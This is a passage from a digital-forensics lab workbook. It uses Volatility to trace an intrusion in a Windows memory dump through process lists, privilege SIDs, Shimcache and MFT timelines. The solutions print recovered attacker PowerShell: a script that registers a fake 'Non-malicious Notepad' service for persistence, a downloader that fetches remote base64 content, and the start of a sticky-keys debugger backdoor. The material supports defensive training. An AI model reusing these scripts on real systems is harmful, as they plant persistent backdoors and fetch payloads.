...	0xffff9b01d6f16540:	MicrosoftEdge.			5416
812	0	-----	2019-07-13 14:45:01	UTC+0000	
...	0xffff9b01d6f0f540:	backgroundTask			4748
812	23	0	2019-07-13 15:29:08	UTC+0000	
...	0xffff9b01d704b080:	RuntimeBroker.			6436
812	12	0	2019-07-13 15:23:04	UTC+0000	
...	0xffff9b01d8157080:	SearchUI.exe			4236
812	38	0	2019-07-13 15:23:03	UTC+0000	
...	0xffff9b01d640a080:	Microsoft.Phot			7224
812	17	0	2019-07-13 15:23:12	UTC+0000	
...	0xffff9b01d759a200:	browser_broker			9044
812	3	0	2019-07-13 15:23:12	UTC+0000	
...	0xffff9b01d5fc0080:	RuntimeBroker.			1880
812	10	0	2019-07-13 15:23:03	UTC+0000	
...	0xffff9b01d76c8080:	MicrosoftEdge.			3732
812	34	0	2019-07-13 15:23:11	UTC+0000	
...	0xffff9b01d74f3080:	ApplicationFra			7056
812	4	0	2019-07-13 15:23:11	UTC+0000	
...	0xffff9b01d79d9080:	RuntimeBroker.			9140
812	7	0	2019-07-13 15:29:08	UTC+0000	
...	0xffff9b01d6027080:	ShellExperienc			6816
812	26	0	2019-07-13 15:23:03	UTC+0000	
...	0xffff9b01d8850080:	RuntimeBroker.			2040
812	6	0	2019-07-13 15:23:22	UTC+0000	
...	0xffff9b01d8003080:	WindowsInterna			5628
812	23	0	2019-07-13 15:23:59	UTC+0000	
..	0xffff9b01d6154200:	svchost.exe			1804

604	3	0	2019-07-13 14:44:38 UTC+0000	
..	0xffff9b01d579d200:svchost.exe			728
604	1	0	2019-07-13 14:44:33 UTC+0000	
..	0xffff9b01d66792c0:VGAAuthService.			3352
604	2	0	2019-07-13 14:44:43 UTC+0000	
..	0xffff9b01d6c20240:svchost.exe			4996
604	7	0	2019-07-13 14:44:56 UTC+0000	
..	0xffff9b01d8279080:svchost.exe			4144
604	3	0	2019-07-13 15:23:26 UTC+0000	
..	0xffff9b01d667d080:vmtoolsd.exe			3368
604	10	0	2019-07-13 14:44:43 UTC+0000	
..	0xffff9b01d6204240:svchost.exe			2012
604	2	0	2019-07-13 14:44:38 UTC+0000	
..	0xffff9b01d616e2c0:svchost.exe			1836
604	5	0	2019-07-13 14:44:38 UTC+0000	
..	0xffff9b01d8155240:svchost.exe			2952
604	1	0	2019-07-13 14:46:59 UTC+0000	
..	0xffff9b01d66a6200:wlms.exe			3388
604	2	0	2019-07-13 14:44:43 UTC+0000	
..	0xffff9b01d7d95280:svchost.exe			6464
604	9	0	2019-07-13 14:46:45 UTC+0000	
..	0xffff9b01d81d3340:SgrmBroker.exe			1248
604	5	0	2019-07-13 14:47:03 UTC+0000	
..	0xffff9b01d606e280:svchost.exe			1348
604	4	0	2019-07-13 14:44:36 UTC+0000	
..	0xffff9b01d75dd540:svchost.exe			8524
604	10	0	2019-07-13 15:22:42 UTC+0000	
..	0xffff9b01d8261200:svchost.exe			1884
604	7	0	2019-07-13 14:47:21 UTC+0000	
..	0xffff9b01d72260c0:svchost.exe			7132
604	6	0	2019-07-13 15:22:53 UTC+0000	
..	0xffff9b01d66fb080:svchost.exe			4968
604	2	0	2019-07-13 14:44:56 UTC+0000	
..	0xffff9b01d64e4240:svchost.exe			2924
604	3	0	2019-07-13 14:44:41 UTC+0000	
...	0xffff9b01d6029080:ctfmon.exe			6640
2924	10	0	2019-07-13 15:22:43 UTC+0000	
..	0xffff9b01d66d6200:svchost.exe			3444
604	7	0	2019-07-13 14:44:43 UTC+0000	
..	0xffff9b01d6349200:svchost.exe			2348
604	5	0	2019-07-13 14:44:39 UTC+0000	
..	0xffff9b01d6098200:svchost.exe			1404
604	8	0	2019-07-13 14:44:36 UTC+0000	
...	0xffff9b01d5e9c540:sihost.exe			6260
1404	17	0	2019-07-13 15:22:42 UTC+0000	
..	0xffff9b01d6504200:svchost.exe			2944
604	7	0	2019-07-13 14:44:41 UTC+0000	
..	0xffff9b01d5e6d200:svchost.exe			904
604	5	0	2019-07-13 14:44:33 UTC+0000	
..	0xffff9b01d63a81c0:spoolsv.exe			2456

604	9	0	2019-07-13 14:44:40 UTC+0000	
..	0xffff9b01d61bd300:	svchost.exe		1940
604	5	0	2019-07-13 14:44:38 UTC+0000	
..	0xffff9b01d60d32c0:	svchost.exe		1432
604	6	0	2019-07-13 14:44:36 UTC+0000	
..	0xffff9b01d6e020c0:	svchost.exe		7068
604	7	0	2019-07-13 15:22:46 UTC+0000	
..	0xffff9b01d70382c0:	svchost.exe		6564
604	2	0	2019-07-13 14:45:10 UTC+0000	
..	0xffff9b01d219c080:	svchost.exe		1448
604	3	0	2019-07-13 14:44:36 UTC+0000	
..	0xffff9b01d61dd200:	svchost.exe		1964
604	3	0	2019-07-13 14:44:38 UTC+0000	
..	0xffff9b01d6724200:	svchost.exe		3516
604	5	0	2019-07-13 14:44:44 UTC+0000	
..	0xffff9b01d63b32c0:	svchost.exe		2496
604	5	0	2019-07-13 14:44:40 UTC+0000	
..	0xffff9b01d8121240:	svchost.exe		4044
604	1	0	2019-07-13 14:47:12 UTC+0000	
..	0xffff9b01d7dc92c0:	svchost.exe		4988
604	6	0	2019-07-13 15:22:43 UTC+0000	
..	0xffff9b01d81c1080:	svchost.exe		1260
604	3	0	2019-07-13 15:24:43 UTC+0000	
..	0xffff9b01d810a280:	svchost.exe		8156
604	5	0	2019-07-13 14:47:28 UTC+0000	
..	0xffff9b01d75a4080:	svchost.exe		7136
604	10	0	2019-07-13 14:45:14 UTC+0000	
..	0xffff9b01d62db2c0:	svchost.exe		2216
604	5	0	2019-07-13 14:44:39 UTC+0000	
..	0xffff9b01d7dac080:	svchost.exe		7672
604	0	-----	2019-07-13 15:00:12 UTC+0000	
..	0xffff9b01d622f2c0:	svchost.exe		1532
604	13	0	2019-07-13 14:44:39 UTC+0000	
.	0xffff9b01d571b0c0:	lsass.exe		624
468	9	0	2019-07-13 14:44:31 UTC+0000	
.	0xffff9b01d57a3100:	fontdrvhost.ex		736
468	5	0	2019-07-13 14:44:33 UTC+0000	
.	0xffff9b01d206b040:	System		4
0	115	0	2019-07-13 14:44:28 UTC+0000	
.	0xffff9b01d2081080:	Registry		88
4	4	0	2019-07-13 14:44:20 UTC+0000	
.	0xffff9b01d6194040:	MemCompression		1900
4	54	0	2019-07-13 14:44:38 UTC+0000	
.	0xffff9b01d2bba040:	smss.exe		276
4	2	0	2019-07-13 14:44:28 UTC+0000	
.	0xffff9b01d883c340:	csrss.exe		8776
8968	11	0	2019-07-13 15:03:59 UTC+0000	
.	0xffff9b01d74bb540:	winlogon.exe		5312
8968	3	0	2019-07-13 15:03:59 UTC+0000	
.	0xffff9b01d7da7540:	LogonUI.exe		5284

```

5312      13      0 2019-07-13 15:03:59 UTC+0000
. 0xffff9b01d7685540:fontdrvhost.exe           3964
5312       5      0 2019-07-13 15:03:59 UTC+0000
. 0xffff9b01d766e080:dwm.exe                   5148
5312      12      0 2019-07-13 15:03:59 UTC+0000
0xffff9b01d8244080:csrss.exe                   232
5428      11      0 2019-07-13 15:20:06 UTC+0000
0xffff9b01d80eb080:winlogon.exe               5724
5428       3      0 2019-07-13 15:20:07 UTC+0000
. 0xffff9b01d7374540:dwm.exe                   7288
5724      13      0 2019-07-13 15:20:07 UTC+0000
. 0xffff9b01d6079300:userinit.exe             5100
5724       0 ----- 2019-07-13 15:22:43 UTC+0000
.. 0xffff9b01d762c080:explorer.exe            4408
5100      94      0 2019-07-13 15:22:43 UTC+0000
... 0xffff9b01d692f080:SecurityHealth         8288
4408       2      0 2019-07-13 15:23:25 UTC+0000
... 0xffff9b01d7183080:vmtoolsd.exe           6824
4408       8      0 2019-07-13 15:23:26 UTC+0000
... 0xffff9b01d7550080:cmd.exe                4908
4408       1      0 2019-07-13 15:24:24 UTC+0000
.... 0xffff9b01d73bf080:conhost.exe           2100
4908       4      0 2019-07-13 15:24:24 UTC+0000
. 0xffff9b01d218d080:fontdrvhost.exe         4692
5724       5      0 2019-07-13 15:20:07 UTC+0000
0xffff9b01d80c3540:OneDrive.exe              3948
7368      20      0 2019-07-13 15:26:49 UTC+0000

```

c) Once you've found the process or processes of interest, determine how much privilege they had using the `getsids` command. This will enable you to perform a risk impact assessment of how much damage could have been done.

Which process or processes do you believe were malicious? How much privilege did they have and what does that mean?

▼ Solution

Use `getsids -p process_id` to solve this problem:

```

analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 getsids -p 8816,8728,8960,7320
Volatility Foundation Volatility Framework 2.6.1
notepadz.exe (8816): S-1-5-18 (Local System)
notepadz.exe (8816): S-1-5-32-544 (Administrators)

```

```
notepadz.exe (8816): S-1-1-0 (Everyone)
notepadz.exe (8816): S-1-5-11 (Authenticated Users)
notepadz.exe (8816): S-1-16-16384 (System Mandatory Level)
cmd.exe (8728): S-1-5-18 (Local System)
cmd.exe (8728): S-1-5-32-544 (Administrators)
cmd.exe (8728): S-1-1-0 (Everyone)
cmd.exe (8728): S-1-5-11 (Authenticated Users)
cmd.exe (8728): S-1-16-16384 (System Mandatory Level)
conhost.exe (8960): S-1-5-18 (Local System)
conhost.exe (8960): S-1-5-32-544 (Administrators)
conhost.exe (8960): S-1-1-0 (Everyone)
conhost.exe (8960): S-1-5-11 (Authenticated Users)
conhost.exe (8960): S-1-16-16384 (System Mandatory Level)
plink.exe (7320): S-1-5-18 (Local System)
plink.exe (7320): S-1-5-32-544 (Administrators)
plink.exe (7320): S-1-1-0 (Everyone)
plink.exe (7320): S-1-5-11 (Authenticated Users)
plink.exe (7320): S-1-16-16384 (System Mandatory Level)
```

Another way to achieve this is to run `getsids` with grep looking for **notepadz** (-C # for surrounding context):

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 getsids | grep -i notepadz -C 5
Volatility Foundation Volatility Framework 2.6.1
svchost.exe (5836): S-1-5-18 (Local System)
svchost.exe (5836): S-1-5-32-544 (Administrators)
svchost.exe (5836): S-1-1-0 (Everyone)
svchost.exe (5836): S-1-5-11 (Authenticated Users)
svchost.exe (5836): S-1-16-16384 (System Mandatory Level)
notepadz.exe (8816): S-1-5-18 (Local System)
notepadz.exe (8816): S-1-5-32-544 (Administrators)
notepadz.exe (8816): S-1-1-0 (Everyone)
notepadz.exe (8816): S-1-5-11 (Authenticated Users)
notepadz.exe (8816): S-1-16-16384 (System Mandatory Level)
cmd.exe (8728): S-1-5-18 (Local System)
cmd.exe (8728): S-1-5-32-544 (Administrators)
cmd.exe (8728): S-1-1-0 (Everyone)
cmd.exe (8728): S-1-5-11 (Authenticated Users)
cmd.exe (8728): S-1-16-16384 (System Mandatory Level)
```

Alternatively, you can grep for the specific PID/PPID of the processes you're interested in:

```
analyst@forensics~$ vol2.py -f memory.dmp
```

```
--profile=Win10x64_17763 getsids | grep '8816\|8728\|8960
\|7320'
Volatility Foundation Volatility Framework 2.6.1
svchost.exe (2588):
S-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052
(MpsSvc)
notepadz.exe (8816): S-1-5-18 (Local System)
notepadz.exe (8816): S-1-5-32-544 (Administrators)
notepadz.exe (8816): S-1-1-0 (Everyone)
notepadz.exe (8816): S-1-5-11 (Authenticated Users)
notepadz.exe (8816): S-1-16-16384 (System Mandatory Level)
cmd.exe (8728): S-1-5-18 (Local System)
cmd.exe (8728): S-1-5-32-544 (Administrators)
cmd.exe (8728): S-1-1-0 (Everyone)
cmd.exe (8728): S-1-5-11 (Authenticated Users)
cmd.exe (8728): S-1-16-16384 (System Mandatory Level)
conhost.exe (8960): S-1-5-18 (Local System)
conhost.exe (8960): S-1-5-32-544 (Administrators)
conhost.exe (8960): S-1-1-0 (Everyone)
conhost.exe (8960): S-1-5-11 (Authenticated Users)
conhost.exe (8960): S-1-16-16384 (System Mandatory Level)
plink.exe (7320): S-1-5-18 (Local System)
plink.exe (7320): S-1-5-32-544 (Administrators)
plink.exe (7320): S-1-1-0 (Everyone)
plink.exe (7320): S-1-5-11 (Authenticated Users)
plink.exe (7320): S-1-16-16384 (System Mandatory Level)
svchost.exe (7292):
S-1-5-80-2020831507-1298702824-3288167190-116113825-4190209
```

Document all your findings, including the process identifier, its parent identifier, number of handles, and start time.

Exercise 3:

Finding the

Malicious Files

The Windows Shimcache was created by Microsoft beginning in Windows XP to track compatibility issues with executed programs. This cache stores various file metadata depending on the operating system, such as:

- Full file path
- File size
- \$STANDARD_INFORMATION last modified time
- Shimcache last updated time
- Process execution flag

It's important to understand there may be entries in the Shimcache that haven't executed. There are two actions that can cause the Shimcache to record an entry:

1. A file is executed: this is recorded on all versions of Windows beginning with XP
2. On Windows Vista, 7, Server 2008, and Server 2012, the Application Experience Lookup Service may record Shimcache entries for files in a directory that a user interactively browses. For example, if a directory contains the files "foo.txt" and "bar.exe", a Windows 7 system may record entries for these two files in the Shimcache

The serialised cache data associated with this information is stored in the Windows Registry in the following location, however it's typically not written out until the system gracefully performs a shutdown:

```
REG: HKLM\SYSTEM\CurrentControlSet\Control\Session  
Manager\AppCompatCache\
```

Inspect the contents of the Shimcache, both in the Windows Registry and in memory, using the `shimcachemem` and `shimcache` commands. What interesting facts can you derive from the entries? Pay particular attention to the times and the full file paths.

► Solution

Document all your findings, including the entry time and the absolute file paths of applications of interest. Also consider recording why you think they're applications of interest.

Exercise 4: Finding the Malicious File (continued...)

Now that you have some investigation leads it's time to verify if they were indeed malicious or not. With a bit of luck some of their remnants will still exist in the filesystem artefacts resident in memory.

a) Extract the MFT using the `mftparser` command, outputting the MFT in a sleuthkit (tsk) body timeline format.

▼ Hint

There's some detail about the `mftparser` module found at Andrea Fortuna's blog that will be helpful: <https://andreafortuna.org/2017/08/21/volatility-my-own-cheatsheet-part-8-filesystem/>

▼ Solution

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 mftparser --output=body --output-
file=mft.body
Volatility Foundation Volatility Framework 2.6.1
Outputting to: mft.body
Scanning for MFT entries and building directory, this can take
a while
```

b) Using the tsk utility `mactime`, convert the MFT body file into a human readable timeline.

▼ Hint

If you're not familiar with the mactime utility, refer to its usage documentation:

```
analyst@forensics~$ man 1 mactime
```

▼ Solution

Output the MFT to a CSV file:

```
analyst@forensics~$ mactime -b mft.body -d > mft.csv
```

Open in `Gnumeric`:

```
analyst@forensics~$ gnumeric mft.csv
```

c) Using the information from your Shimcache analysis, search for your data points within the MFT timeline and pivot using temporal analysis of the surrounding filesystem events. What interesting file artefacts did you find?

▼ Solution

You'll find that there are additional files of interest near that

`malicious.exe` we just investigated:


```
analyst@forensics~$ cat mft.csv | grep -i 'Alan\AppData
\\Local\\Temp' | less
Date,Size,Type,Mode,UID,GID,Meta,File Name
...
Sat Jul 13 2019 06:54:48,0,m...,r--
a-----,0,0,79501,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\MALICI~1.EXE (Offset: 0xb6b41400)"
Sat Jul 13 2019 06:56:02,0,..c.,r--
a-----,0,0,79501,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\MALICI~1.EXE (Offset: 0xb6b41400)"
Sat Jul 13 2019 14:42:50,0,macb,r--
a-----,0,0,79501,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\MALICI~1.EXE (Offset: 0xb6b41400)"
Sat Jul 13 2019 14:42:50,0,macb,r--
a-----,0,0,79501,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\malicious.exe (Offset: 0xb6b41400)"
Sat Jul 13 2019 14:42:50,0,.a.b,r--
a-----,0,0,79501,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\MALICI~1.EXE (Offset: 0xb6b41400)"
Sat Jul 13 2019 14:50:05,0,macb,---
a-----,0,0,81920,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\WRITER~1.PS1 (Offset: 0x117926000)"
Sat Jul 13 2019 14:50:05,0,macb,---
a-----,0,0,81920,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\WriteRemoteEncoded.ps1 (Offset: 0x117926000)"
Sat Jul 13 2019 14:50:05,0,macb,---
a-----,0,0,81920,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\WRITER~1.PS1 (Offset: 0x117926000)"
Sat Jul 13 2019 14:51:16,0,macb,---
a-----,0,0,83043,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\ELEVAT~1.PS1 (Offset: 0x8d8d6c00)"
Sat Jul 13 2019 14:51:16,0,macb,---
a-----,0,0,83043,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\ElevateExecute.ps1 (Offset: 0x8d8d6c00)"
Sat Jul 13 2019 14:51:16,0,macb,---
a-----,0,0,83043,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\ELEVAT~1.PS1 (Offset: 0x8d8d6c00)"
Sat Jul 13 2019 14:52:14,0,macb,---
a-----,0,0,80454,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\Sticky.ps1 (Offset: 0x11f04a800)"
Sat Jul 13 2019 14:52:14,0,macb,---
a-----,0,0,80454,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\Sticky.ps1 (Offset: 0x11f04a800)"
Sat Jul 13 2019 14:55:14,0,macb,---
a-----,0,0,84896,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\Service.ps1 (Offset: 0x10520000)"
Sat Jul 13 2019 14:55:14,0,macb,---
a-----,0,0,84896,"[MFT STD_INFO] Users\Alan\AppData
\Local\Temp\Service.ps1 (Offset: 0x10520000)"
```

...

We can also see evidence of `mimikatz` on Bob's desktop:

```
analyst@forensics~$ cat mft.csv | grep -i 'Bob\Desktop\x64'
| less
Tue Jan 22 2013 00:36:48,0,m...,---
a-----,0,0,23484,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimidrv.sys (Offset: 0x168d000)"
Sun May 12 2019 23:36:44,0,m...,---
a-----,0,0,23482,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimilib.dll (Offset: 0x27f4b800)"
Sun May 12 2019 23:36:44,0,m...,---
a-----,0,0,23483,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Wed Jul 10 2019 03:39:34,0,..c.,---
a-----,0,0,23482,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimilib.dll (Offset: 0x27f4b800)"
Wed Jul 10 2019 03:39:39,0,..c.,---
a-----,0,0,23483,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Wed Jul 10 2019 03:39:39,0,..c.,---
a-----,0,0,23484,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimidrv.sys (Offset: 0x168d000)"
Sat Jul 13 2019 15:24:02,0,macb,-----
D-,0,0,23481,"[MFT FILE_NAME] Users\Bob\Desktop\x64 (Offset:
0x27f4b400)"
Sat Jul 13 2019
15:24:02,0,..b,-----,0,0,23481,"[MFT STD_INFO]
Users\Bob\Desktop\x64 (Offset: 0x27f4b400)"
Sat Jul 13 2019 15:24:02,0,macb,---
a-----,0,0,23482,"[MFT FILE_NAME] Users\Bob\Desktop
\x64\mimilib.dll (Offset: 0x27f4b800)"
Sat Jul 13 2019 15:24:02,0,.a.b,---
a-----,0,0,23482,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimilib.dll (Offset: 0x27f4b800)"
Sat Jul 13 2019 15:24:02,0,macb,---
a-----,0,0,23483,"[MFT FILE_NAME] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Sat Jul 13 2019 15:24:02,0,..b,---
a-----,0,0,23483,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Sat Jul 13 2019 15:24:03,0,.a.,---
a-----,0,0,23483,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
Sat Jul 13 2019 15:24:03,0,macb,---
a-----,0,0,23484,"[MFT FILE_NAME] Users\Bob\Desktop
\x64\mimidrv.sys (Offset: 0x168d000)"
```

```
Sat Jul 13 2019 15:24:03,0,.a.b,---
a-----,0,0,23484,"[MFT STD_INFO] Users\Bob\Desktop
\x64\mimidrv.sys (Offset: 0x168d000)"
Sat Jul 13 2019
15:28:37,0,mac.,-----,0,0,23481,"[MFT STD_INFO]
Users\Bob\Desktop\x64 (Offset: 0x27f4b400)"
```

Looking at the timestamps, this activity occurred later than the activity on Alan's computer:

```
Sat Jul 13 2019 14:42:50,0,macb,r--
a-----,0,0,79501,"[MFT FILE_NAME] Users\Alan\AppData
\Local\Temp\malicious.exe (Offset: 0xb6b41400)"
...
Sat Jul 13 2019 15:24:02,0,macb,---
a-----,0,0,23483,"[MFT FILE_NAME] Users\Bob\Desktop
\x64\mimikatz.exe (Offset: 0x27f4bc00)"
```

Document your findings.

Exercise 5: Finding the Backdoor

a) Extract a new MFT using the `mftparser` command, this time outputting the MFT in a text format. Re-inspect the malicious files you found previously, this time looking for files that may contain resident \$DATA

attribute entries.

▼ Hint

To achieve this, use the same command as earlier, but change the output type to text:

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 mftparser --output=text --output-
file=mft.txt
```

Then, using a tool of your choice (e.g. grep, nano, vim, etc.), search for the files you identified earlier in the MFT, looking for entries with \$DATA information.

▼ Solution

You'll see multiple entries that aren't of interest, but when you hit a finding with \$DATA information, it may seem pretty obvious:

```
analyst@forensics~$ less mft.txt
2019-07-13 15:00:49 UTC+0000 2019-07-13 15:00:49 UTC+0000
2019-07-13 15:00:49 UTC+0000 2019-07-13 15:00:49 UTC+0000
Users\Alan\AppData\Local\Temp\aria-debug-6844.log

$DATA
00000000000: 32 30 31 39 2d 30 37 2d 31 33 20 31 35 3a 30 30
2019-07-13.15:00
00000000010: 3a 34 39 2e 34 32 39 7c 30 30 30 30 38 35 33 36
:49.429|00008536
00000000020: 7c 0d 0a 43 3a 5c 62 75 69 6c 64 5c 61 72 69 61
|..C:\build\aria
00000000030: 2d 63 70 70 2d 76 31 5c 63 6c 69 65 6e 74 74 65
-cpp-v1\clientte
00000000040: 6c 65 6d 65 74 72 79 5c 73 72 63 5c 4c 6f 67 4d
lemetry\src\LogM
00000000050: 61 6e 61 67 65 72 49 6d 70 6c 2e 63 70 70 28 36
anagerImpl.cpp(6
00000000060: 32 36 29 3a 20 63 6c 61 73 73 20 4d 69 63 72 6f
26)::class.Micro
00000000070: 73 6f 66 74 3a 3a 41 70 70 6c 69 63 61 74 69 6f
soft::Applicatio
00000000080: 6e 73 3a 3a 54 65 6c 65 6d 65 74 72 79 3a 3a 49
ns::Telemetry::I
00000000090: 4c 6f 67 67 65 72 20 2a 5f 5f 74 68 69 73 63 61
```

```

Logger.*__thisca
00000000a0: 6c 6c 20 4d 69 63 72 6f 73 6f 66 74 3a 3a 41 70
ll.Microsoft::Ap
00000000b0: 70 6c 69 63 61 74 69 6f 6e 73 3a 3a 54 65 6c 65
plications::Tele
00000000c0: 6d 65 74 72 79 3a 3a 4c 6f 67 4d 61 6e 61 67 65
metry::LogManage
00000000d0: 72 49 6d 70 6c 3a 3a 49 6e 69 74 69 61 6c 69 7a
rImpl::Initializ
00000000e0: 65 28 63 6f 6e 73 74 20 63 6c 61 73 73 20 73 74
e(const.class.st
00000000f0: 64 3a 3a 62 61 73 69 63 5f 73 74 72 69 6e 67 3c
d::basic_string<
0000000100: 63 68 61 72 2c 73 74 72 75 63 74 20 73 74 64 3a
char,struct.std:
0000000110: 3a 63 68 61 72 5f 74 72 61 69 74 73 3c 63 68 61
:char_traits,class.std::al
0000000130: 6c 6f 63 61 74 6f 72 3c 63 68 61 72 3e 20 3e 20
locator.>.
0000000140: 26 2c 63 6f 6e 73 74 20 73 74 72 75 63 74 20 4d
&,const.struct.M
0000000150: 69 63 72 6f 73 6f 66 74 3a 3a 41 70 70 6c 69 63
icrosoft::Applic
0000000160: 61 74 69 6f 6e 73 3a 3a 54 65 6c 65 6d 65 74 72
ations::Telemetr
0000000170: 79 3a 3a 4c 6f 67 43 6f 6e 66 69 67 75 72 61 74
y::LogConfigurat
0000000180: 69 6f 6e 20 26 29 20 57 41 52 4e 49 4e 47 3a 20
ion.&).WARNING:.
0000000190: 49 6e 76 61 6c 69 64 20 69 6e 2d 72 61 6d 20 71
Invalid.in-ram.q
00000001a0: 75 65 75 65 20 73 69 7a 65 20 28 32 30 39 37 31
ueue.size.(20971
00000001b0: 35 32 30 29 2c 20 61 64 6a 75 73 74 65 64 20 74
520),.adjusted.t
00000001c0: 6f 20 6d 61 78 20 72 61 6d 20 71 75 65 75 65 20
o.max.ram.queue.
00000001d0: 73 69 7a 65 0d 0a
size..

```

```

*****
*****
MFT entry found at offset 0x10e6fc00
Attribute: In Use & Directory
Record Number: 78235
Link count: 2

```

b) When malicious actors burrow into a system they typically like to

duplicate their access, typically by installing additional backdoors. Locate the backdoor installation script potentially used by the adversary, then extract the resident file data so that you can include it in your final report, using the `dump` option of the `mftparser` command.

▼ Hint

As we saw, there were multiple potential files of interest

(`WriteRemoteEncoded.ps1` , `ElevateExecute.ps1` , `Sticky.ps1` , `Service.ps1`). The file with the backdoor service is `Service.ps1` :

```
analyst@forensics~$ less mft.txt
```

```
*****
*****
```

```
MFT entry found at offset 0x10520000
```

```
Attribute: In Use & File
```

```
Record Number: 84896
```

```
Link count: 1
```

```
$STANDARD_INFORMATION
```

```
Creation
```

```
Modified
```

```
MFT Altered
```

```
Access Date
```

```
Type
```

```
-----
-----
-----
```

```
2019-07-13 14:55:14 UTC+0000 2019-07-13 14:55:14 UTC+0000
```

```
2019-07-13 14:55:14 UTC+0000 2019-07-13 14:55:14 UTC+0000
```

```
Archive
```

```
$FILE_NAME
```

```
Creation
```

```
Modified
```

```
MFT Altered
```

```
Access Date
```

```
Name/Path
```

```
-----
-----
-----
```

```
2019-07-13 14:55:14 UTC+0000 2019-07-13 14:55:14 UTC+0000
```

```
2019-07-13 14:55:14 UTC+0000 2019-07-13 14:55:14 UTC+0000
```

```
Users\Alan\AppData\Local\Temp\Service.ps1
```

```
$DATA
```

```
0000000000: 24 70 61 74 68 20 3d 20 22 24 65 6e 76 3a 54 45
```

```
$path. = "$env:TE
```

```
0000000010: 4d 50 5c 6e 6f 74 65 70 61 64 7a 2e 65 78 65 22
```

```
MP\notepadz.exe"
```

```

0000000020: 0a 0a 69 66 20 28 54 65 73 74 2d 50 61 74 68 20
..if.(Test-Path.
0000000030: 2d 50 61 74 68 20 24 70 61 74 68 29 20 7b 0a 20
-Path.$path){.
0000000040: 20 20 20 4e 65 77 2d 53 65 72 76 69 63 65 20 2d
...New-Service.-
0000000050: 4e 61 6d 65 20 22 4e 6f 74 65 70 61 64 7a 22 20
Name."Notepadz".
0000000060: 2d 42 69 6e 61 72 79 50 61 74 68 4e 61 6d 65 20
-BinaryPathName.
0000000070: 24 70 61 74 68 20 2d 44 69 73 70 6c 61 79 4e 61
$path.-DisplayNa
0000000080: 6d 65 20 22 4e 6f 74 65 70 61 64 7a 22 20 2d 44
me."Notepadz".-D
0000000090: 65 73 63 72 69 70 74 69 6f 6e 20 22 4e 6f 6e 2d
escription."Non-
00000000a0: 6d 61 6c 69 63 69 6f 75 73 20 4e 6f 74 65 70 61
malicious.Notepa
00000000b0: 64 22 20 2d 53 74 61 72 74 75 70 54 79 70 65 20
d"-.StartupType.
00000000c0: 41 75 74 6f 6d 61 74 69 63 0a 20 20 20 20 53 74
Automatic.....St
00000000d0: 61 72 74 2d 53 65 72 76 69 63 65 20 2d 4e 61 6d
art-Service.-Nam
00000000e0: 65 20 22 4e 6f 74 65 70 61 64 7a 22 0a 7d
e."Notepadz"。）

```

```

*****
*****

```

▼ Hint

Check the help file for `mftparser` if you're stuck:

```

analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 mftparser -h

```

▼ Solution

Run `mftparser` with the `-D` flag to dump the resident files in the MFT from memory:

```
analyst@forensics~$ mkdir resident
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 mftparser -o
0x10520000,0x117926000,0x11f04a800 -D ./resident/
```

If you `file` these dmp file, it's just ASCII text:

```
analyst@forensics~$ file ./resident/file.0x10520000.data0.dmp
file.0x10520000.data0.dmp: ASCII text
```

You could, if you wanted to, very easily restore them as they might have been seen on the system (i.e. at the path `Users\Alan\AppData\Local\Temp\Service.ps1`), by copying and renaming it to `Service.ps1` to include as an appendix in your report:

```
analyst@forensics~$ cp ./resident/file.0x10520000.data0.dmp
./Service.ps1
```

Now the files have been dumped, check their contents:

```
analyst@forensics~$ cat ./resident/file.0x10520000.data0.dmp
$path = "$env:TEMP\notepadz.exe"

if (Test-Path -Path $path) {
    New-Service -Name "Notepadz" -BinaryPathName $path
    -DisplayName "Notepadz" -Description "Non-malicious Notepad"
    -StartupType Automatic
    Start-Service -Name "Notepadz"
}
```

If you're interested these are the other two files:

```
analyst@forensics~$ cat ./resident/file.0x117926000.data0.dmp
Param(
    [Parameter(Mandatory=$true,
    ValueFromPipeLine=$false)]
    [String[]]
    $Uri,

    [Parameter(Mandatory=$true,
```



```
        ValueFromPipeLine=$false)]
        [String[]]
        $FileName
    )

Write-Host $Uri

$path = "$env:TEMP\$FileName"
if (Test-Path -Path $path) {
    Write-Host "[*] File already exist at $ScriptPath"
    return -1
}

$data = [System.Convert]::FromBase64String((Invoke-WebRequest
-Uri "$Uri" -UseBasicParsing).content)
[System.IO.File]::WriteAllBytes($path, $data)

analyst@forensics~$ cat ./resident/file.0x11f04a800.data0.dmp
$path = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Image File Execution Options\sethc.exe"
if (!(Test-Path -Path $path)) {
    New-Item -Path $path -Force
}

New-ItemProperty -Path $path -Name "Debugger" -PropertyType
